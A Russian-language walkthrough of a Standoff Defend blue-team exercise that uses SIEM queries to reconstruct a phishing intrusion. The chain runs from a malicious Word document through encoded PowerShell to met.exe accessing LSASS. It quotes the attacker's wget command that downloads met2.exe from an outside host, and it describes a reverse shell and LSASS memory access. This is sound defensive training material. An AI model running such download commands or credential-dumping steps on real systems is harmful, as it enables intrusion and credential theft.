Привет! Продолжаем разбирать практические задания для блюшников с платформы Standoff Defend. На этот раз перед нами вполне привычная история: сотрудник открывает подозрительный документ, после чего на его рабочей станции начинает происходить что-то интересное. Наша задача - не просто найти несколько ответов в SIEM, а восстановить логическую цепочку событий.
Согласно легенде, злоумышленники провели успешную фишинговую атаку и доставили на хост 10.156.18.200 вредоносное ПО, напоминающее инструмент из популярного хакерского фреймворка. У нас есть вводные, события в SIEM и несколько вопросов. Начнём с самого очевидного - точки входа.
Фишинг всему голова / Задание 1.1
Задача: указать имя файла, с которого началась успешная фишинговая атака.
Поскольку речь идёт о фишинге, в первую очередь имеет смысл проверить документы, которые открывались на рабочей станции. Формат вложения нам не известен, поэтому начнём с наиболее очевидных кандидатов - файлов Word и Excel.
Для этого можно обратиться к событиям создания процесса: Sysmon Event ID 1 и Windows Security 4688. В командной строке будем искать расширения документов, а область поиска ограничим известным хостом.
event_src.host = 'tsantos.uf.city.stf' and msgid in [1, 4688] and (object.process.cmdline contains '.doc' or object.process.cmdline contains '.xls')
Среди результатов видим запуск WINWORD.EXE, а в поле object.process.cmdline - упоминание Doc1.doc. Кроме того, по данным процесса заметна связь с PowerShell. Для начала этого достаточно: мы нашли перспективный артефакт, который стоит проверить по независимому источнику.
В данном случае есть и второй путь. Если в SIEM поступают результаты проверки файлов песочницей, можно сразу поискать объекты типа malware с расширениями офисных документов:
event_src.host = 'sbx.city.stf' and object = 'malware' and (object.name contains '.doc' or object.name contains '.xls')
Итак, первая зацепка получена - Doc1.doc. Но одного названия нам мало: неплохо бы убедиться, что это действительно тот файл, который нужен.
Интересный документ / Задание 1.2
Задача: найти SHA-1 хеш-сумму вредоносного файла, открытого пользователем.
Теперь, когда название документа известно, не будем просматривать все события подряд. Ограничим поиск конкретным объектом и вернёмся к данным песочницы:
event_src.host = 'sbx.city.stf' and object = 'malware' and object.name = 'Doc1.doc'
В карточке события можно посмотреть хеши файла. Нам нужен именно SHA-1, который присутствует в сведениях об объекте.
Получаем SHA-1: a9d722ba97b411468b4b899f2fa582a92ba3fcc1.
Хеш полезен не только как ответ к заданию. Он позволяет проверить совпадения по другим хостам и сопоставить объект с внешними источниками Threat Intelligence, если такая задача возникнет в реальном расследовании.
Никогда не открывай подозрительные файлы / Задание 1.3
Задача: определить учётную запись сотрудника, открывшего документ.
С самим файлом разобрались. Теперь нужно понять, от имени кого выполнялось открытие. Возвращаемся к телеметрии рабочей станции и ищем события, в которых в командной строке фигурирует Doc1.doc.
event_src.host = 'tsantos.uf.city.stf' and msgid in [1, 4688] and object.process.cmdline contains 'Doc1.doc'
В поле subject.account.name видим t_santos. Заодно обнаруживаем PID процесса WINWORD.EXE - 1852. Запомним его: дальше этот идентификатор пригодится, чтобы восстановить родительско-дочерние связи.
Важно понимать, что пользователь в событиях - это контекст выполнения процесса. Сам по себе такой артефакт не означает, что сотрудник осознанно инициировал вредоносную активность. Но для восстановления цепочки он подходит отлично.
Кто тебя породил? / Задание 1.4
Задача: найти PID процесса, запустившего вредоносное ПО.
На предыдущем шаге мы нашли WINWORD.EXE с PID 1852. Если документ действительно стал точкой входа, интересующие нас действия должны проявиться ниже по дереву процессов. Поэтому попробуем найти события, в которых этот PID указан как идентификатор родителя:
event_src.host = 'tsantos.uf.city.stf' and msgid in [1, 4688] and object.process.parent.id = '1852'
Предположение оказалось полезным: видим запуск PowerShell, у которого object.process.parent.name = winword.exe, а object.process.parent.id = 1852. При этом PID самого PowerShell-процесса - 624.
Здесь уже появляется вполне характерная для фишинговых сценариев связка: офисный документ запускает PowerShell с закодированной командой. Конечно, такая комбинация сама по себе ещё не доказывает всю последующую цепочку, но точно заслуживает дальнейшего анализа.
Где же учётные данные? / Задание 1.5
Задача: определить имя процесса, с помощью которого злоумышленники могли получить учётные данные.
На последнем шаге у нас есть достаточно хорошая точка опоры - PowerShell с PID 624. Прежде чем искать его дочерние процессы, посмотрим на содержимое подозрительной команды. На приложенном фрагменте после декодирования видны обращения к System.Net.Sockets.TCPClient и обработка сетевого потока.
Такая логика напоминает обратную командную оболочку: соединение устанавливается с удалённой стороной, а полученные данные используются в командном цикле. Это объясняет, почему дальше стоит проверить именно процессы, порождённые PowerShell.
event_src.host = 'tsantos.uf.city.stf' and msgid in [1, 4688] and object.process.parent.id = '624'
Среди полученных событий обнаруживаем запуск met.exe из каталога C:\Users\t_santos\Documents\. В карточке процесса видно, что его родителем выступает powershell.exe с PID 624. Также в результатах есть другие созданные процессы, включая whoami.exe и ipconfig.exe.
Таким образом, в рамках задания искомый файл - met.exe. Его роль как инструмента возможного получения учётных данных следует из контекста задания; сами по себе приведённые события создания процессов не подтверждают, что учётные данные действительно были похищены.
Вне контекста заданий, предлагаю продолжить цепочку расследования и понять, что за файл met.exe, откуда он взялся и что делает...
А что происходило после запуска met.exe?
На этом можно было бы остановиться - в задании от нас требовалось только имя процесса. Но оставлять такую находку без дальнейшего анализа как-то неинтересно. Мы уже знаем, что PowerShell с PID 624 запустил met.exe. Давайте посмотрим, чем этот файл успел отметиться на рабочей станции.
Для начала немного расширим поиск: вместо событий создания процессов соберём всё, где встречается имя исполняемого файла.
body contains 'met.exe' AND event_src.host = "tsantos.uf.city.stf"
В выдаче обнаруживаются сразу несколько любопытных событий. Попробуем последовательно разобраться, что они нам говорят.
Откуда взялся met.exe?
Сначала обратим внимание на событие PowerShell 4104. Script Block Logging сохранил команду, в которой фигурирует загрузка met2.exe с внешнего веб-ресурса и сохранение результата под именем met.exe:
try {wget http://rser.inostage.ru/XNzAOnof/met2.exe -O met.exe} catch {echo $_}
То есть файл не просто появился из ниоткуда: мы нашли команду, которая должна была его загрузить. Правда, само событие 4104 не гарантирует успешного скачивания - оно фиксирует содержимое исполняемого блока скрипта. И здесь очень кстати оказывается ещё один артефакт.
Sysmon Event ID 11 показывает, что процесс powershell.exe с PID 624 создал файл C:\Users\t_santos\Documents\met.exe. Таким образом, событие создания файла подтверждает появление met.exe на диске; последующее событие запуска процесса позволяет связать его с выполнением.
И что он делает дальше?
Теперь нас интересует уже не PowerShell, а сам met.exe. В событиях Sysmon видим, что процесс с PID 2696 под учётной записью t_santos подключается к именованному каналу wkssvc. Это Sysmon Event ID 18 - Pipe Connected.
Само по себе обращение к wkssvc нельзя считать доказательством вредоносной активности: этот канал связан с легитимными механизмами Windows. Поэтому делать вывод о перемещении по сети или эксплуатации только по этому событию было бы преждевременно. Зато оно дополняет картину активности запущенного файла.
Проверяем сетевую активность
Следующая находка уже интереснее. Sysmon Event ID 3 фиксирует сетевое соединение, инициированное met.exe (PID 2696) с рабочей станции 10.156.18.200:57528 на адрес 10.126.10.30:10000.
С учётом предшествующей цепочки это похоже на канал связи с удалённым узлом. Однако по одному событию сетевого соединения ещё нельзя уверенно назвать адрес сервером управления: для этого нужно изучить сетевой трафик, направление обмена и другие связанные события.
А вот и lsass.exe
Наконец, находим событие Sysmon Event ID 10 - Process Access. В нём met.exe (PID 2696) обращается к процессу lsass.exe (PID 784), а в поле GrantedAccess указано значение 0x1010.
Это уже серьёзная зацепка. Маска 0x1010 включает разрешение на чтение памяти процесса (PROCESS_VM_READ) и ограниченный запрос информации о нём (PROCESS_QUERY_LIMITED_INFORMATION). А учитывая, что LSASS работает с аутентификационными данными, такой доступ со стороны подозрительного исполняемого файла заслуживает особого внимания.
С одной стороны, это ещё не доказательство дампа: событие фиксирует получение доступа к процессу, а не факт чтения его памяти. С другой - после всей предыдущей активности странно было бы на этом остановиться. Посмотрим, что ещё оставил после себя met.exe.
Получается, дамп LSASS?
Попробуем сузить поиск до событий, где инициатором выступает именно наш met.exe. Так мы увидим не только обращения к процессам и сетевые соединения, но и действия с файлами:
subject.process.name = 'met.exe' AND event_src.host = "tsantos.uf.city.stf"
И почти сразу находится интересная запись. В Sysmon Event ID 11 (FileCreate) процесс met.exe с PID 2696 создаёт файл nkcklq.dll в пользовательском временном каталоге. Время создания - 22 ноября 2023 года, 17:30:53.890.
Путь к файлу - C:\Users\t_santos\AppData\Local\Temp\nkcklq.dll. Обратите внимание: это именно событие создания файла, а не загрузки DLL-модуля (Sysmon 7). По одному расширению .dll нельзя определить, что находится внутри. Тем не менее, в сочетании с доступом к LSASS, появление такого объекта уже выглядит подозрительно.
А дальше SIEM сама связывает две находки. Срабатывает корреляционное правило LSASS_Memory_Dump, которое объединило два исходных события в интервале 17:30:53 - 17:31:09. В контексте инцидента указаны файл nkcklq.dll и предполагаемая компрометация пользователя t_santos.
Если открыть подробности инцидента, видим прежний процесс met.exe (PID 2696), целевой lsass.exe (PID 784), изначальный процесс powershell.exe (PID 624), маску GrantedAccess = 0x1010 и тот же путь к nkcklq.dll. Здесь уже можно говорить не об одном случайном событии, а о связанной последовательности, которую SIEM классифицировала как дамп памяти LSASS.
Собираем картину целиком
Если свести результаты в одну последовательность, получим следующую картину: пользователь t_santos открывает Doc1.doc через WINWORD.EXE (PID 1852). Далее запускается PowerShell (PID 624), в его событиях обнаруживаем команду загрузки met2.exe под именем met.exe. Sysmon фиксирует создание файла, а затем запуск met.exe с PID 2696.
На этом активность не заканчивается: met.exe подключается к каналу wkssvc, устанавливает соединение с 10.126.10.30:10000 и получает доступ к lsass.exe с маской 0x1010. Кроме того, тот же процесс создаёт nkcklq.dll, а SIEM формирует инцидент LSASS_Memory_Dump по двум связанным событиям.
На этом всё. Иногда самое интересное начинается как раз после того, как ответ на задание уже найден :)